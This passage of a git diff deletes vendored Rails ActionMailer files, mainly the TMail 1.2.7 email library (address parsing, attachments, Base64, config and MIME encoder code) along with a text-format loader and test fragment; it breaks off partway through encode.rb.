-            [word[0 ... size], word[size .. -1]]
-          end
-        end
-        @format_o.hyphenator = h
-      end
-      assert_match(/^iferou$/, @format_o.format(test))
-      assert_nothing_raised { h = Object.new }
-      assert_nothing_raised do
-        class << h #:nodoc:
-          def hyphenate_to(word, size, formatter)
-            return ["", word] if word.size < formatter.columns
-            [word[0 ... size], word[size .. -1]]
-          end
-        end
-        @format_o.hyphenator = h
-      end
-      assert_match(/^ferous$/, @format_o.format(test))
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/text_format.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/text_format.rb
deleted file mode 100644
index c6c8c394..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/text_format.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-# Prefer gems to the bundled libs.
-require 'rubygems'
-
-begin
-  gem 'text-format', '>= 0.6.3'
-rescue Gem::LoadError
-  $:.unshift "#{File.dirname(__FILE__)}/text-format-0.6.3"
-end
-
-require 'text/format'
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail.rb
deleted file mode 100644
index 79d9fa82..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-require 'tmail/version'
-require 'tmail/mail'
-require 'tmail/mailbox'
-require 'tmail/core_extensions'
-require 'tmail/net'
-require 'tmail/vendor/rchardet-1.3/lib/rchardet'
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/.cvsignore b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/.cvsignore
deleted file mode 100644
index 2bd43ff9..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/.cvsignore
+++ /dev/null
@@ -1,3 +0,0 @@
-parser.rb
-output.parser
-stringio.rb
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/Makefile b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/Makefile
deleted file mode 100644
index 8688b7fc..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/Makefile
+++ /dev/null
@@ -1,18 +0,0 @@
-# lib/tmail/Makefile
-#
-
-debug:
-	rm -f parser.rb
-	make parser.rb DEBUG=true
-
-parser.rb: parser.y
-	if [ "$(DEBUG)" = true ]; then \
-	    racc -v -g -o$@ parser.y ;\
-	else \
-	    racc -E -o$@ parser.y ;\
-	fi
-
-clean:
-	rm -f parser.rb parser.output
-
-distclean: clean
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/address.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/address.rb
deleted file mode 100644
index d506eaf4..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/address.rb
+++ /dev/null
@@ -1,392 +0,0 @@
-=begin rdoc
-
-= Address handling class
-
-=end
-#--
-# Copyright (c) 1998-2003 Minero Aoki <aamine@loveruby.net>
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#
-# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
-# with permission of Minero Aoki.
-#++
-
-require 'tmail/encode'
-require 'tmail/parser'
-
-
-module TMail
-
-  # = Class Address
-  # 
-  # Provides a complete handling library for email addresses. Can parse a string of an
-  # address directly or take in preformatted addresses themselves.  Allows you to add
-  # and remove phrases from the front of the address and provides a compare function for
-  # email addresses.
-  # 
-  # == Parsing and Handling a Valid Address:
-  # 
-  # Just pass the email address in as a string to Address.parse:
-  # 
-  #  email = TMail::Address.parse('Mikel Lindsaar <mikel@lindsaar.net>')
-  #  #=> #<TMail::Address mikel@lindsaar.net>
-  #  email.address
-  #  #=> "mikel@lindsaar.net"
-  #  email.local
-  #  #=> "mikel"
-  #  email.domain
-  #  #=> "lindsaar.net"
-  #  email.name             # Aliased as phrase as well
-  #  #=> "Mikel Lindsaar"
-  # 
-  # == Detecting an Invalid Address
-  # 
-  # If you want to check the syntactical validity of an email address, just pass it to
-  # Address.parse and catch any SyntaxError:
-  # 
-  #  begin
-  #    TMail::Address.parse("mikel   2@@@@@ me .com")
-  #  rescue TMail::SyntaxError
-  #    puts("Invalid Email Address Detected")
-  #  else
-  #    puts("Address is valid")
-  #  end
-  #  #=> "Invalid Email Address Detected"
-  class Address
-
-    include TextUtils #:nodoc:
-    
-    # Sometimes you need to parse an address, TMail can do it for you and provide you with
-    # a fairly robust method of detecting a valid address.
-    # 
-    # Takes in a string, returns a TMail::Address object.
-    # 
-    # Raises a TMail::SyntaxError on invalid email format
-    def Address.parse( str )
-      Parser.parse :ADDRESS, str
-    end
-
-    def address_group? #:nodoc:
-      false
-    end
-
-    # Address.new(local, domain)
-    # 
-    # Accepts:
-    # 
-    # * local - Left of the at symbol
-    # 
-    # * domain - Array of the domain split at the periods.
-    # 
-    # For example:
-    # 
-    #  Address.new("mikel", ["lindsaar", "net"])
-    #  #=> "#<TMail::Address mikel@lindsaar.net>"
-    def initialize( local, domain )
-      if domain
-        domain.each do |s|
-          raise SyntaxError, 'empty word in domain' if s.empty?
-        end
-      end
-      
-      # This is to catch an unquoted "@" symbol in the local part of the
-      # address.  Handles addresses like <"@"@me.com> and makes sure they
-      # stay like <"@"@me.com> (previously were becoming <@@me.com>)
-      if local && (local.join == '@' || local.join =~ /\A[^"].*?@.*?[^"]\Z/)
-        @local = "\"#{local.join}\""
-      else
-        @local = local
-      end
-
-      @domain = domain
-      @name   = nil
-      @routes = []
-    end
-
-    # Provides the name or 'phrase' of the email address.
-    # 
-    # For Example:
-    # 
-    #  email = TMail::Address.parse("Mikel Lindsaar <mikel@lindsaar.net>")
-    #  email.name
-    #  #=> "Mikel Lindsaar"
-    def name
-      @name
-    end
-
-    # Setter method for the name or phrase of the email
-    # 
-    # For Example:
-    # 
-    #  email = TMail::Address.parse("mikel@lindsaar.net")
-    #  email.name
-    #  #=> nil
-    #  email.name = "Mikel Lindsaar"
-    #  email.to_s
-    #  #=> "Mikel Lindsaar <mikel@me.com>"
-    def name=( str )
-      @name = str
-      @name = nil if str and str.empty?
-    end
-
-    #:stopdoc:
-    alias phrase  name
-    alias phrase= name=
-    #:startdoc:
-    
-    # This is still here from RFC 822, and is now obsolete per RFC2822 Section 4.
-    # 
-    # "When interpreting addresses, the route portion SHOULD be ignored."
-    # 
-    # It is still here, so you can access it.
-    # 
-    # Routes return the route portion at the front of the email address, if any.
-    # 
-    # For Example:
-    #  email = TMail::Address.parse( "<@sa,@another:Mikel@me.com>")
-    #  => #<TMail::Address Mikel@me.com>
-    #  email.to_s
-    #  => "<@sa,@another:Mikel@me.com>"
-    #  email.routes
-    #  => ["sa", "another"]
-    def routes
-      @routes
-    end
-    
-    def inspect #:nodoc:
-      "#<#{self.class} #{address()}>"
-    end
-
-    # Returns the local part of the email address
-    # 
-    # For Example:
-    # 
-    #  email = TMail::Address.parse("mikel@lindsaar.net")
-    #  email.local
-    #  #=> "mikel"
-    def local
-      return nil unless @local
-      return '""' if @local.size == 1 and @local[0].empty?
-      # Check to see if it is an array before trying to map it
-      if @local.respond_to?(:map)
-        @local.map {|i| quote_atom(i) }.join('.')
-      else
-        quote_atom(@local)
-      end
-    end
-
-    # Returns the domain part of the email address
-    # 
-    # For Example:
-    # 
-    #  email = TMail::Address.parse("mikel@lindsaar.net")
-    #  email.local
-    #  #=> "lindsaar.net"
-    def domain
-      return nil unless @domain
-      join_domain(@domain)
-    end
-
-    # Returns the full specific address itself
-    # 
-    # For Example:
-    # 
-    #  email = TMail::Address.parse("mikel@lindsaar.net")
-    #  email.address
-    #  #=> "mikel@lindsaar.net"
-    def spec
-      s = self.local
-      d = self.domain
-      if s and d
-        s + '@' + d
-      else
-        s
-      end
-    end
-
-    alias address spec
-
-    # Provides == function to the email.  Only checks the actual address
-    # and ignores the name/phrase component
-    # 
-    # For Example
-    # 
-    #  addr1 = TMail::Address.parse("My Address <mikel@lindsaar.net>")
-    #  #=> "#<TMail::Address mikel@lindsaar.net>"
-    #  addr2 = TMail::Address.parse("Another <mikel@lindsaar.net>")
-    #  #=> "#<TMail::Address mikel@lindsaar.net>"
-    #  addr1 == addr2
-    #  #=> true
-    def ==( other )
-      other.respond_to? :spec and self.spec == other.spec
-    end
-
-    alias eql? ==
-
-    # Provides a unique hash value for this record against the local and domain
-    # parts, ignores the name/phrase value
-    # 
-    #  email = TMail::Address.parse("mikel@lindsaar.net")
-    #  email.hash
-    #  #=> 18767598
-    def hash
-      @local.hash ^ @domain.hash
-    end
-
-    # Duplicates a TMail::Address object returning the duplicate
-    # 
-    #  addr1 = TMail::Address.parse("mikel@lindsaar.net")
-    #  addr2 = addr1.dup
-    #  addr1.id == addr2.id
-    #  #=> false
-    def dup
-      obj = self.class.new(@local.dup, @domain.dup)
-      obj.name = @name.dup if @name
-      obj.routes.replace @routes
-      obj
-    end
-
-    include StrategyInterface #:nodoc:
-
-    def accept( strategy, dummy1 = nil, dummy2 = nil ) #:nodoc:
-      unless @local
-        strategy.meta '<>'   # empty return-path
-        return
-      end
-
-      spec_p = (not @name and @routes.empty?)
-      if @name
-        strategy.phrase @name
-        strategy.space
-      end
-      tmp = spec_p ? '' : '<'
-      unless @routes.empty?
-        tmp << @routes.map {|i| '@' + i }.join(',') << ':'
-      end
-      tmp << self.spec
-      tmp << '>' unless spec_p
-      strategy.meta tmp
-      strategy.lwsp ''
-    end
-
-  end
-
-
-  class AddressGroup
-
-    include Enumerable
-
-    def address_group?
-      true
-    end
-
-    def initialize( name, addrs )
-      @name = name
-      @addresses = addrs
-    end
-
-    attr_reader :name
-    
-    def ==( other )
-      other.respond_to? :to_a and @addresses == other.to_a
-    end
-
-    alias eql? ==
-
-    def hash
-      map {|i| i.hash }.hash
-    end
-
-    def []( idx )
-      @addresses[idx]
-    end
-
-    def size
-      @addresses.size
-    end
-
-    def empty?
-      @addresses.empty?
-    end
-
-    def each( &block )
-      @addresses.each(&block)
-    end
-
-    def to_a
-      @addresses.dup
-    end
-
-    alias to_ary to_a
-
-    def include?( a )
-      @addresses.include? a
-    end
-
-    def flatten
-      set = []
-      @addresses.each do |a|
-        if a.respond_to? :flatten
-          set.concat a.flatten
-        else
-          set.push a
-        end
-      end
-      set
-    end
-
-    def each_address( &block )
-      flatten.each(&block)
-    end
-
-    def add( a )
-      @addresses.push a
-    end
-
-    alias push add
-    
-    def delete( a )
-      @addresses.delete a
-    end
-
-    include StrategyInterface
-
-    def accept( strategy, dummy1 = nil, dummy2 = nil )
-      strategy.phrase @name
-      strategy.meta ':'
-      strategy.space
-      first = true
-      each do |mbox|
-        if first
-          first = false
-        else
-          strategy.puts_meta ','
-        end
-        strategy.space
-        mbox.accept strategy
-      end
-      strategy.meta ';'
-      strategy.lwsp ''
-    end
-
-  end
-
-end   # module TMail
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/attachments.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/attachments.rb
deleted file mode 100644
index 19ce1aa8..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/attachments.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-=begin rdoc
-
-= Attachment handling file
-
-=end
-
-require 'kconv'
-require 'stringio'
-
-module TMail
-  class Attachment < StringIO
-    attr_accessor :original_filename, :content_type
-    alias quoted_filename original_filename
-  end
-
-  class Mail
-    def has_attachments?
-      attachment?(self) || multipart? && parts.any? { |part| attachment?(part) }
-    end
-
-    # Returns true if this part's content main type is text, else returns false.
-    # By main type is meant "text/plain" is text.  "text/html" is text
-    def text_content_type?
-      self.header['content-type'] && (self.header['content-type'].main_type == 'text')
-    end
-  
-    def inline_attachment?(part)
-      part['content-id'] || (part['content-disposition'] && part['content-disposition'].disposition == 'inline' && !part.text_content_type?)
-    end
-  
-    def attachment?(part)
-      part.disposition_is_attachment? || (!part.content_type.nil? && !part.text_content_type?) unless part.multipart?
-    end
-  
-    def attachments
-      if multipart?
-        parts.collect { |part| attachment(part) }.flatten.compact
-      elsif attachment?(self)
-        [attachment(self)]
-      end
-    end
-  
-    private
-  
-    def attachment(part)
-      if part.multipart?
-        part.attachments
-      elsif attachment?(part)
-        content   = part.body # unquoted automatically by TMail#body
-        file_name = (part['content-location'] && part['content-location'].body) ||
-                    part.sub_header('content-type', 'name') ||
-                    part.sub_header('content-disposition', 'filename') ||
-                    'noname'
-
-        return if content.blank?
-
-        attachment = TMail::Attachment.new(content)
-        attachment.original_filename = file_name.strip unless file_name.blank?
-        attachment.content_type = part.content_type
-        attachment
-      end
-    end
-
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/base64.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/base64.rb
deleted file mode 100644
index e294c629..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/base64.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-#--
-#   Copyright (c) 1998-2003 Minero Aoki <aamine@loveruby.net>
-#
-#   Permission is hereby granted, free of charge, to any person obtaining
-#   a copy of this software and associated documentation files (the
-#   "Software"), to deal in the Software without restriction, including
-#   without limitation the rights to use, copy, modify, merge, publish,
-#   distribute, sublicense, and/or sell copies of the Software, and to
-#   permit persons to whom the Software is furnished to do so, subject to
-#   the following conditions:
-#
-#   The above copyright notice and this permission notice shall be
-#   included in all copies or substantial portions of the Software.
-#
-#   THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-#   EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-#   MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-#   NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-#   LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-#   OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-#   WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#
-#   Note: Originally licensed under LGPL v2+. Using MIT license for Rails
-#   with permission of Minero Aoki.
-#++
-#:stopdoc:
-module TMail
-  module Base64
-
-    module_function
-
-    def folding_encode( str, eol = "\n", limit = 60 )
-      [str].pack('m')
-    end
-
-    def encode( str )
-      [str].pack('m').tr( "\r\n", '' )
-    end
-
-    def decode( str, strict = false )
-      str.unpack('m').first
-    end
-
-  end
-end
-#:startdoc:
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/compat.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/compat.rb
deleted file mode 100644
index 1275df79..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/compat.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-#:stopdoc:
-unless Enumerable.method_defined?(:map) 
-  module Enumerable #:nodoc:
-    alias map collect
-  end
-end
-
-unless Enumerable.method_defined?(:select)
-  module Enumerable #:nodoc:
-    alias select find_all
-  end
-end
-
-unless Enumerable.method_defined?(:reject)
-  module Enumerable #:nodoc:
-    def reject
-      result = []
-      each do |i|
-        result.push i unless yield(i)
-      end
-      result
-    end
-  end
-end
-
-unless Enumerable.method_defined?(:sort_by)
-  module Enumerable #:nodoc:
-    def sort_by
-      map {|i| [yield(i), i] }.sort.map {|val, i| i }
-    end
-  end
-end
-
-unless File.respond_to?(:read)
-  def File.read(fname) #:nodoc:
-    File.open(fname) {|f|
-      return f.read
-    }
-  end
-end
-#:startdoc:
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/config.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/config.rb
deleted file mode 100644
index 3a876dcd..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/config.rb
+++ /dev/null
@@ -1,67 +0,0 @@
-#--
-# Copyright (c) 1998-2003 Minero Aoki <aamine@loveruby.net>
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#
-# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
-# with permission of Minero Aoki.
-#++
-#:stopdoc:
-module TMail
-
-  class Config
-
-    def initialize( strict )
-      @strict_parse = strict
-      @strict_base64decode = strict
-    end
-
-    def strict_parse?
-      @strict_parse
-    end
-
-    attr_writer :strict_parse
-
-    def strict_base64decode?
-      @strict_base64decode
-    end
-
-    attr_writer :strict_base64decode
-
-    def new_body_port( mail )
-      StringPort.new
-    end
-
-    alias new_preamble_port  new_body_port
-    alias new_part_port      new_body_port
-  
-  end
-
-  DEFAULT_CONFIG        = Config.new(false)
-  DEFAULT_STRICT_CONFIG = Config.new(true)
-
-  def Config.to_config( arg )
-    return DEFAULT_STRICT_CONFIG if arg == true
-    return DEFAULT_CONFIG        if arg == false
-    arg or DEFAULT_CONFIG
-  end
-
-end
-#:startdoc:
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/core_extensions.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/core_extensions.rb
deleted file mode 100644
index da62c33b..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/core_extensions.rb
+++ /dev/null
@@ -1,63 +0,0 @@
-#:stopdoc:
-unless Object.respond_to?(:blank?)
-  class Object
-    # Check first to see if we are in a Rails environment, no need to 
-    # define these methods if we are
-
-    # An object is blank if it's nil, empty, or a whitespace string.
-    # For example, "", "   ", nil, [], and {} are blank.
-    #
-    # This simplifies
-    #   if !address.nil? && !address.empty?
-    # to
-    #   if !address.blank?
-    def blank?
-      if respond_to?(:empty?) && respond_to?(:strip)
-        empty? or strip.empty?
-      elsif respond_to?(:empty?)
-        empty?
-      else
-        !self
-      end
-    end
-  end
-
-  class NilClass
-    def blank?
-      true
-    end
-  end
-
-  class FalseClass
-    def blank?
-      true
-    end
-  end
-
-  class TrueClass
-    def blank?
-      false
-    end
-  end
-
-  class Array
-    alias_method :blank?, :empty?
-  end
-
-  class Hash
-    alias_method :blank?, :empty?
-  end
-
-  class String
-    def blank?
-      empty? || strip.empty?
-    end
-  end
-
-  class Numeric
-    def blank?
-      false
-    end
-  end
-end
-#:startdoc:
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/encode.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/encode.rb
deleted file mode 100644
index af66dfac..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/encode.rb
+++ /dev/null
@@ -1,590 +0,0 @@
-#--
-# = COPYRIGHT:
-#
-#   Copyright (c) 1998-2003 Minero Aoki <aamine@loveruby.net>
-#
-#   Permission is hereby granted, free of charge, to any person obtaining
-#   a copy of this software and associated documentation files (the
-#   "Software"), to deal in the Software without restriction, including
-#   without limitation the rights to use, copy, modify, merge, publish,
-#   distribute, sublicense, and/or sell copies of the Software, and to
-#   permit persons to whom the Software is furnished to do so, subject to
-#   the following conditions:
-#
-#   The above copyright notice and this permission notice shall be
-#   included in all copies or substantial portions of the Software.
-#
-#   THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-#   EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-#   MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-#   NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-#   LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-#   OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-#   WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#
-#   Note: Originally licensed under LGPL v2+. Using MIT license for Rails
-#   with permission of Minero Aoki.
-#++
-#:stopdoc:
-require 'nkf'
-require 'tmail/base64'
-require 'tmail/stringio'
-require 'tmail/utils'
-#:startdoc:
-
-
-module TMail
-  
-  #:stopdoc:
-  class << self
-    attr_accessor :KCODE
-  end
-  self.KCODE = 'NONE'
-
-  module StrategyInterface
-
-    def create_dest( obj )
-      case obj
-      when nil
-        StringOutput.new
-      when String
-        StringOutput.new(obj)
-      when IO, StringOutput
-        obj
-      else
-        raise TypeError, 'cannot handle this type of object for dest'
-      end
-    end
-    module_function :create_dest
-
-    #:startdoc:
-    # Returns the TMail object encoded and ready to be sent via SMTP etc.
-    # You should call this before you are packaging up your  email to
-    # correctly escape all the values that need escaping in the email, line
-    # wrap the email etc.
-    # 
-    # It is also a good idea to call this before you marshal or serialize
-    # a TMail object.
-    # 
-    # For Example:
-    # 
-    #  email = TMail::Load(my_email_file)
-    #  email_to_send = email.encoded
-    def encoded( eol = "\r\n", charset = 'j', dest = nil )
-      accept_strategy Encoder, eol, charset, dest
-    end
-
-    # Returns the TMail object decoded and ready to be used by you, your
-    # program etc.
-    # 
-    # You should call this before you are packaging up your  email to
-    # correctly escape all the values that need escaping in the email, line
-    # wrap the email etc.
-    # 
-    # For Example:
-    # 
-    #  email = TMail::Load(my_email_file)
-    #  email_to_send = email.encoded
-    def decoded( eol = "\n", charset = 'e', dest = nil )
-      # Turn the E-Mail into a string and return it with all
-      # encoded characters decoded.  alias for to_s
-      accept_strategy Decoder, eol, charset, dest
-    end
-
-    alias to_s decoded
-
-    def accept_strategy( klass, eol, charset, dest = nil ) #:nodoc:
-      dest ||= ''
-      accept klass.new( create_dest(dest), charset, eol )
-      dest
-    end
-
-  end
-
-  #:stopdoc:
-
-  ###
-  ### MIME B encoding decoder
-  ###
-
-  class Decoder
-
-    include TextUtils
-
-    encoded = '=\?(?:iso-2022-jp|euc-jp|shift_jis)\?[QB]\?[a-z0-9+/=]+\?='
-    ENCODED_WORDS = /#{encoded}(?:\s+#{encoded})*/i
-    SPACER       = "\t"
-
-    OUTPUT_ENCODING = {
-      'EUC'  => 'e',
-      'SJIS' => 's',
-    }
-
-    def self.decode( str, encoding = nil )
-      encoding ||= (OUTPUT_ENCODING[TMail.KCODE] || 'j')
-      opt = '-mS' + encoding
-      str.gsub(ENCODED_WORDS) {|s| NKF.nkf(opt, s) }
-    end
-
-    def initialize( dest, encoding = nil, eol = "\n" )
-      @f = StrategyInterface.create_dest(dest)
-      @encoding = (/\A[ejs]/ === encoding) ? encoding[0,1] : nil
-      @eol = eol
-    end
-
-    def decode( str )
-      self.class.decode(str, @encoding)
-    end
-    private :decode
-
-    def terminate
-    end
-
-    def header_line( str )
-      @f << decode(str)
-    end
-
-    def header_name( nm )
-      @f << nm << ': '
-    end
-
-    def header_body( str )
-      @f << decode(str)
-    end
-
-    def space
-      @f << ' '
-    end
-
-    alias spc space
-
-    def lwsp( str )
-      @f << str
-    end
-
-    def meta( str )
-      @f << str
-    end
-
-    def puts_meta( str )
-      @f << str
-    end
-
-    def text( str )
-      @f << decode(str)
-    end
-
-    def phrase( str )
-      @f << quote_phrase(decode(str))
-    end
-
-    def kv_pair( k, v )
-      v = dquote(v) unless token_safe?(v)
-      @f << k << '=' << v
-    end
-
-    def puts( str = nil )
-      @f << str if str
-      @f << @eol
-    end
-
-    def write( str )
-      @f << str
-    end
-
-  end
-
-
-  ###
-  ### MIME B-encoding encoder
-  ###
-
-  #
-  # FIXME: This class can handle only (euc-jp/shift_jis -> iso-2022-jp).
-  #
-  class Encoder
-
-    include TextUtils
-
-    BENCODE_DEBUG = false unless defined?(BENCODE_DEBUG)
-
-    def Encoder.encode( str )
-      e = new()
-      e.header_body str
-      e.terminate
-      e.dest.string
-    end
-
-    SPACER       = "\t"
-    MAX_LINE_LEN = 78
-    RFC_2822_MAX_LENGTH = 998
-
-    OPTIONS = {
-      'EUC'  => '-Ej -m0',
-      'SJIS' => '-Sj -m0',
-      'UTF8' => nil,      # FIXME
-      'NONE' => nil
-    }
-
-    def initialize( dest = nil, encoding = nil, eol = "\r\n", limit = nil )
-      @f = StrategyInterface.create_dest(dest)
-      @opt = OPTIONS[TMail.KCODE]
-      @eol = eol
-      @folded = false
-      @preserve_quotes = true
-      reset
-    end
-
-    def preserve_quotes=( bool )
-      @preserve_quotes
-    end
-
-    def preserve_quotes
-      @preserve_quotes
-    end
-
-    def normalize_encoding( str )
-      if @opt
-      then NKF.nkf(@opt, str)
-      else str
-      end
-    end
-
-    def reset
-      @text = ''
-      @lwsp = ''
-      @curlen = 0
-    end
-
-    def terminate
-      add_lwsp ''
-      reset
-    end
-
-    def dest
-      @f
-    end
-
-    def puts( str = nil )
-      @f << str if str
-      @f << @eol
-    end
-
-    def write( str )
-      @f << str
-    end
-
-    #
-    # add
-    #
-
-    def header_line( line )
-      scanadd line
-    end
-
-    def header_name( name )
-      add_text name.split(/-/).map {|i| i.capitalize }.join('-')
-      add_text ':'
-      add_lwsp ' '
-    end
-
-    def header_body( str )
-      scanadd normalize_encoding(str)
-    end
-
-    def space
-      add_lwsp ' '
-    end
-
-    alias spc space
-
-    def lwsp( str )
-      add_lwsp str.sub(/[\r\n]+[^\r\n]*\z/, '')
-    end
-
-    def meta( str )
-      add_text str
-    end
-
-    def puts_meta( str )
-      add_text str + @eol + SPACER
-    end
-
-    def text( str )
-      scanadd normalize_encoding(str)
-    end
-
-    def phrase( str )
-      str = normalize_encoding(str)
-      if CONTROL_CHAR === str
-        scanadd str
-      else
-        add_text quote_phrase(str)
-      end
-    end
-
-    # FIXME: implement line folding
-    #
-    def kv_pair( k, v )
-      return if v.nil?
-      v = normalize_encoding(v)
-      if token_safe?(v)
-        add_text k + '=' + v
-      elsif not CONTROL_CHAR === v
-        add_text k + '=' + quote_token(v)
-      else
-        # apply RFC2231 encoding
-        kv = k + '*=' + "iso-2022-jp'ja'" + encode_value(v)
-        add_text kv
-      end
-    end
-
-    def encode_value( str )
-      str.gsub(TOKEN_UNSAFE) {|s| '%%%02x' % s[0] }
-    end
-
-    private
-
-    def scanadd( str, force = false )
-      types = ''
-      strs = []
-      if str.respond_to?(:encoding)
-        enc = str.encoding 
-        str.force_encoding(Encoding::ASCII_8BIT)
-      end
-      until str.empty?
-        if m = /\A[^\e\t\r\n ]+/.match(str)
-          types << (force ? 'j' : 'a')
-          if str.respond_to?(:encoding)
-            strs.push m[0].force_encoding(enc)
-          else
-            strs.push m[0]
-          end
-        elsif m = /\A[\t\r\n ]+/.match(str)
-          types << 's'
-          if str.respond_to?(:encoding)
-            strs.push m[0].force_encoding(enc)
-          else
-            strs.push m[0]
-          end
-
-        elsif m = /\A\e../.match(str)
-          esc = m[0]
-          str = m.post_match
-          if esc != "\e(B" and m = /\A[^\e]+/.match(str)
-            types << 'j'
-            if str.respond_to?(:encoding)
-              strs.push m[0].force_encoding(enc)
-            else
-              strs.push m[0]
-            end
-          end
-
-        else
-          raise 'TMail FATAL: encoder scan fail'
-        end
-        (str = m.post_match) unless m.nil?
-      end
-
-      do_encode types, strs
-    end
-
-    def do_encode( types, strs )
-      #
-      # result  : (A|E)(S(A|E))*
-      # E       : W(SW)*
-      # W       : (J|A)+ but must contain J  # (J|A)*J(J|A)*
-      # A       : <<A character string not to be encoded>>
